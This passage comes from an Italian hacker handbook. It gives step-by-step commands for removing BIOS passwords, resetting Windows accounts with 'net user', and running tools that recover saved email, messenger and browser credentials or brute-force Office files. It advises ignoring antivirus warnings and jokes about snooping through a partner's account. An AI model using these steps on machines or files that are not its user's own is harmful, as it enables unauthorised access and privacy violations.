del BIOS è CmosPwd. Utilizzando CmosPwd, in pochi istanti potremo rimuovere la password diretta-mente dal prompt dei comandi. Al termine dell’operazione, il BIOS sarà accessi-bile anche senza dover inserire alcuna parola chiave. Ecco come fare. 1. AVVERTENZE: Nel caso il nostro Antivirus rilevasse l’utility come pro-gramma indesiderato, ignoriamo l’avviso e proseguiamo con lo scaricamento. 2. Procediamo con lo scaricamento dell’archivio compresso cmospwd.zip. Scompattiamo il contenuto del file nella directory C:\ del nostro disco rigido. 3. Accediamo al menu Start/Programmi/Accessori e clicchiamo sulla voce Prompt dei comandi, (o semplicemente start/esegui/cmd/OK). Una volta aperta la finestra della shell di DOS, al prompt non dobbiamo fare altro che digitare con attenzione il comando cd c:\cmospwd-5.0\windows\, quindi premiamo Invio. 4. Digitiamo ioperm –i e premiamo Invio. Adesso scriviamo il comando cmospwd_win /k e premiamo nuovamente Invio, scegliamo la seconda opzione premendo 2, quindi nuovamente Invio. Per uscire non dobbiamo fare altro che premere 0. Il dado è tratto: riavviamo il computer. Questo funziona egregiamente con i seguenti BIOS: ACER/IBM BIOS, AMI BIOS, AMI WinBIOS 2.5, Award 4.5x/4.6x/6.0, Compaq (1992), Compaq (nuo-ve versioni), IBM (PS/2, Activa, Thinkpad), Packard Bell, Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107, Phoe-nix 4 release 6 (User), Gateway Solo – Phoenix 4.0 versione 6, Toshiba e Zenith AMI. Con il tool !BIOS (BIOS320) Aprire una finestra DOS con i diritti di amministratore e spostarsi nella cartella in cui è salvato il file BIOS320.EXE e avviarlo. Spostarsi in Crackers, selezio-nare il bios della motherboard e fare Invio.

La master password

Molti produttori inseriscono nel Bios una password (Master Password) che consente ai tecnici di en-trare bypassando quella inserita dai vari utenti. Su Internet ci sono diversi siti che mettono a disposizione l'elenco di quelle conosciute come ad esempio www.xs4all.nl/-matrix/mpwlist.html.

Page 119: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

119

Come cambiare la password di un utente tramite linea di comando in

Windows

Siete degli amministratori di Windows con più account? Vi siete dimenticati la

password di uno di questi account? Se avete i poteri da amministratore potete cambiare la password dalla linea di comando. Per aprirla innanzitutto clic-chiamo su Start-Esegui-digitiamo cmd e premiamo enter. Nella schermata della shell, scriviamo net user, avremo cosi una lista di tutti gli account Windows presenti nel computer. Cambiare la password è veramente semplice, poniamo che l’account del quale vogliamo resettare la password si chiama Geek (un nome a caso) e la password che vogliamo impostare è geekis-

simo, basterà semplicemente inserire questo comando: net user geek geekissi-

mo e premere enter, avremo il messaggio che l’operazione è stata effettuata con successo, se appunto tutto è andato per il meglio. Ora la nuova password è atti-

va e possiamo di nuovo loggarci nel nostro account. Magari non di questo truc-chetto non sarà felice la nostra ragazza, dato che adesso possiamo spulciare per bene il suo account, però almeno andremo a letto più o meno tranquilli. Perso-nalmente penso che questo trucchetto renda praticamente inutile la divisone del pc in account con tanto di password per la privacy. Collegarsi a Windows automaticamente senza dover scegliere utente e im-

mettere password

Oggi vedremo come fare in modo che su di un pc con Windows XP installato e diversi account, all’avvio il SO sappia già a quale utente collegarsi, senza co-

stringerci ad essere presenti quando si avvia il computer. Windows XP effet-tua automaticamente il log sul desktop se è presente solamente un utente, non protetto da password. Ma spesso anche per utilizzare alcune applicazioni è necessario aggiungere ulte-riori account, in questo modo però all’avvio sarà mostrato un box dove scegliere

con quale utente collegarsi a Windows. Come detto con un paio di passaggi vi farò vedere come automatizzare questa schermata in modo che Windows sap-

pia già a quale account collegarsi. Ovviamente attivando questo trick tutti po-

tranno accedere a Windows con tanti saluti alla nostra privacy, ergo sconsi-glio di utilizzare questo metodo su pc che possono essere utilizzati da persone non fidate. Ma adesso vediamo cosa fare. Innanzitutto premiamo WIN+R per avviare Esegui. Qui scriviamo control user-

passwords2 e diamo l’Ok. Assicuriamoci che la casella “Per utilizzare questo

computer è necessario che l’utente immetta il nome e la password” sia senza spunta, e clicchiamo su Applica. Apparirà una finestra nella quale dovremo in-serire la password del Amministratore, che solitamente consiste nel lasciare lo spazio bianco. Ovviamente se vogliamo potremo cambiare l’account con il

quale collegarci. Diamo l’Ok due volte. Et voilà d’ora in avanti Windows si

collegherà da solo.

Page 120: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

120

Password online: forum Alcuni siti o forum richiedono, per accedere, una registrazione o una autentica-zione con password. Una soluzione è visitare il sito http://bumenot.com e, inse-rendo l’URL del sito viene presentato un elenco di login e password

CON LA POSTA EI CLIENT VOIP BASTA POCO

Grazie ad alcuni tool possiarrw recuperare facilmente le passwprd degli account di posta memorizzati sul PC,del programma di messaggistica e quelle utilizzate per loggarci ai servizi Web salvate sul browser.

NON SOLO OUTLOOK Le password degli account di posta elettronica configurati sui vari client sono celate attraverso i soliti asterischi e diventa impossibile leggerle. Con Mail PassView però basta dawero poco per recuperarle. Basta scompattare l'archivio compresso sul PC e fare doppio clic sul file mailpv.exe. Riesce a re- cuperare le password degli account di Outlook e molti altri. MESSAGGISTICA

Con MessenPass è possibile risalire alla user e alla password di programmi di messaggistica come: Windows Messenger, Yahoo Messenger, Windows Live Messenger, Google Talk, ICQ Lite, AOL Instant Messenger, AIM, AIM Pro,Trillian, Trillian Astra, Miranda, GAIM/Pidgin, MySpace IM, PaltalkScene , Digsby. PASSWORD NEL BROWSER

Per comodità molti preferiscono memorizzare le password nel browser per non doverle reinserire ogni volta. Se, però, si deve riformattare il PC o si vuole semplicemente utilizzare un altro computer, può anche capitare di non ricordarsele più. Se utilizziamo Firefox basta ricorrere al programma Pas-

swordFox. Mentre per Internet Explorer InternetExplorerPasswordRecovery.

Basta installare il programma e avviarlo. Per Google Crome CromePasswordDecryptor mentre OperaPasswordDe-

cryptor per Opera. Attenti all’antivirus! ASTERISCHI

Asterisk Key Basta avviarlo e, quando il campo con la password nascosta è vi-sualizzato, premere il link recover.

Password WinRar con WinRarPasswordRecovery

PER WORD ED EXCEL

Se abbiamo un file di Word o Excel protetto con una password, possiamo prova-re a recuperarla col tool Free Word / Excel Password Recovery wizard. Basta

Page 121: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

121

fare doppio clic sul file d'installazione. Occorre aver installato sul computer il componente .NETframework. Selezioniamo il file Dopo aver awiato Free Word / Excel Password Recovery wizard, spostiamoci nel tab Select file e premiamo su Select a file. L'applicazione supporta i file di ti-po Doc e Xls: per altri tipi le soluzioni sono solo a pagamento. Selezioniamo, quindi, il documento da aprire e premiamo su Next. Proviamo col dizionario II primo tentativo consiste nel ricorrere a un dizionario di termini. Il programma ne carica uno nella directory d'installazione che solitamente è C:\Program File(x86)\www.freewordexcelpassword.corrAFree Word Excel Password Wizard\dictionary.txt. Premiamo, quindi, su Go Usiamo la forza Se il metodo col dizionario non funziona, si passa alla modalità Brute force re-covery. Innanzitutto selezioniamo i caratteri che fanno parte della password. Im-postiamo, quindi, il numero di caratteri di cui dovrebbe essere composta e pre-miamo su Go. La modalità Brute forte potrebbe impiegare v anche diversi minuti ma è quella che fornisce i risultati migliori. Quando la password è rilevata, si apre una picco-la finestra che ce la mostra in bella vista. Possiamo, quindi, annotarla per poi u-sarla per aprire il nostro file in Word o Excel. La chiave per i file compressi

Con i file compressi protetti da password si ricorre a soluzioni commerciali come Advanced Archive Password Recovery (www.elcomsoft.com). Questo pro-gramma è in grado di rilevare le password sia dei file zip sia di quelli rar. È sem-plice da usare e si può provarlo in versione demo. Sblocchiamo i PDF

Per rimuoverle le protezioni dei PDF si può provare Freeware PDF unlocker. Per funzionare in Windows Vista/7 si deve aprire il file un-lockpdf.cmd presente nel-la cartella d'installazione e modificare la riga -sOutputFile=%tt%_noPW. pdf" con -sOutputFile="%tt%_noPW.pdf". Trascina e sblocca

Trascinare il PDF sull'icona PDF unlocker,drop PDF files here presente sul desktop. Sarà creato un secondo file senza restrizioni. Freeware PDF unlocker funziona su sistemi a 32 bit. Se non funziona, ci sono soluzioni commerciali co-me Advanced PDF Password Recovery. ADDIO A FACEBOOK: iscriversi è facile, sparire senza lasciare tracce è più difficile. Dopo aver eliminato manualmente messaggi, fotografie e tutti i dati, andiamo sul link www.facebook.com/help/contact.php?show_forum=delete_account e premia-mo il pulsante invia. Inseriamo la password. L’account sarà elimi-nato entro 14gg se non eseguiamo accessi.

Page 122: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

122

Protect Me!, Nascondi Files in Eseguibili

Protect Me! è un programma eseguibile per windows che riesce a nascondere

files di qualsiasi tipo in eseguibili, li protegge con password e li cifra.

Tramite Protect Me! è possibile per tutti nascondere ad occhi indiscreti

qualsiasi file all'interno di un'altro file crittografato e protetto da password, senza la quale ovviamente i files non si vedranno. Protect Me! è anche un programma con un livello buono di sicurezza, infatti non solo i dati contenuti nell'archivio sono protetti tramite crittografia AES ma anche la password per essere convalidata è protetta a sua volta dall'algorit-

mo SHA1.

Crittografia, password, sicurezza, non solo, Protect Me! è anche estremamente

semplice da usare, basta scaricare il programma, estrarre l'archivio, eseguirlo, trascinare i files che si vuole proteggere all'interno della finestra, digitare la password che permetterà di aprire il file che contiene gl'altri files e premere "Create Container".

Se si vuole camuffare ulteriormente il file contenitore è anche possibile specifi-

care una qualsiasi icona nel formato .ICO che questo dovrà avere.

Page 123: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

123

INDICE 1 Ricerche con Google: gli operatori 10 Google oltre ogni limite 19 GOOGLE HAKING Stringhe di ricerca da copiare e incollare nella mascherina di Google TROVA PARENT DIRECTORY TROVA PASSWORD E USERMAME 20 TROVA MUSICA TROVA VIDEO O FILMATI TROVA WEBCAM 21 HACKER CON GOOGLE:le stringhe segrete 22 Password e username 24 Dati personali e documenti confidenziali 26 Siti vulnerabili 27 Stampanti e videocamere 28 Documenti, file MP3 e filmati in Divx 29 RICERCA CRACK 30Google Hacking 44 Scaricare video 47 Freegate per vedere justin.tv il calcio e il grande fratello senza limiti. 50 Tecniche per introdursi in una rete 51 Risalire all’indirizzo Ip di un’email 53 NsLookup 57 Gli strumenti di Traceroute e di Whois. 65 Telnet 70 Telnet per spedire la posta in pratica 77 NASCONDERE IP 81 Netcat 92 La lettura degli header 110 MAILBOX USA E GETTA 111 Sicurezza server web Tecniche di base parte 1° 112 Sicurezza server web Tecniche di base parte 2° 114 Codice ascii 115 RECUPERO PASSWORD

Password di windows (XP, Seven) con TRK Password di windows con CD installazione Password di Linux Password del Bios Cambiare password utente da linea di comando Saltare il Login Ottenere password accesso Forum on-line Password Client di posta e messaggistica

Password memorizzate nel browser Password WinRar Password excel, word e PDF 122 Protect Me!, Nascondi Files in Eseguibili

Page 124: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

124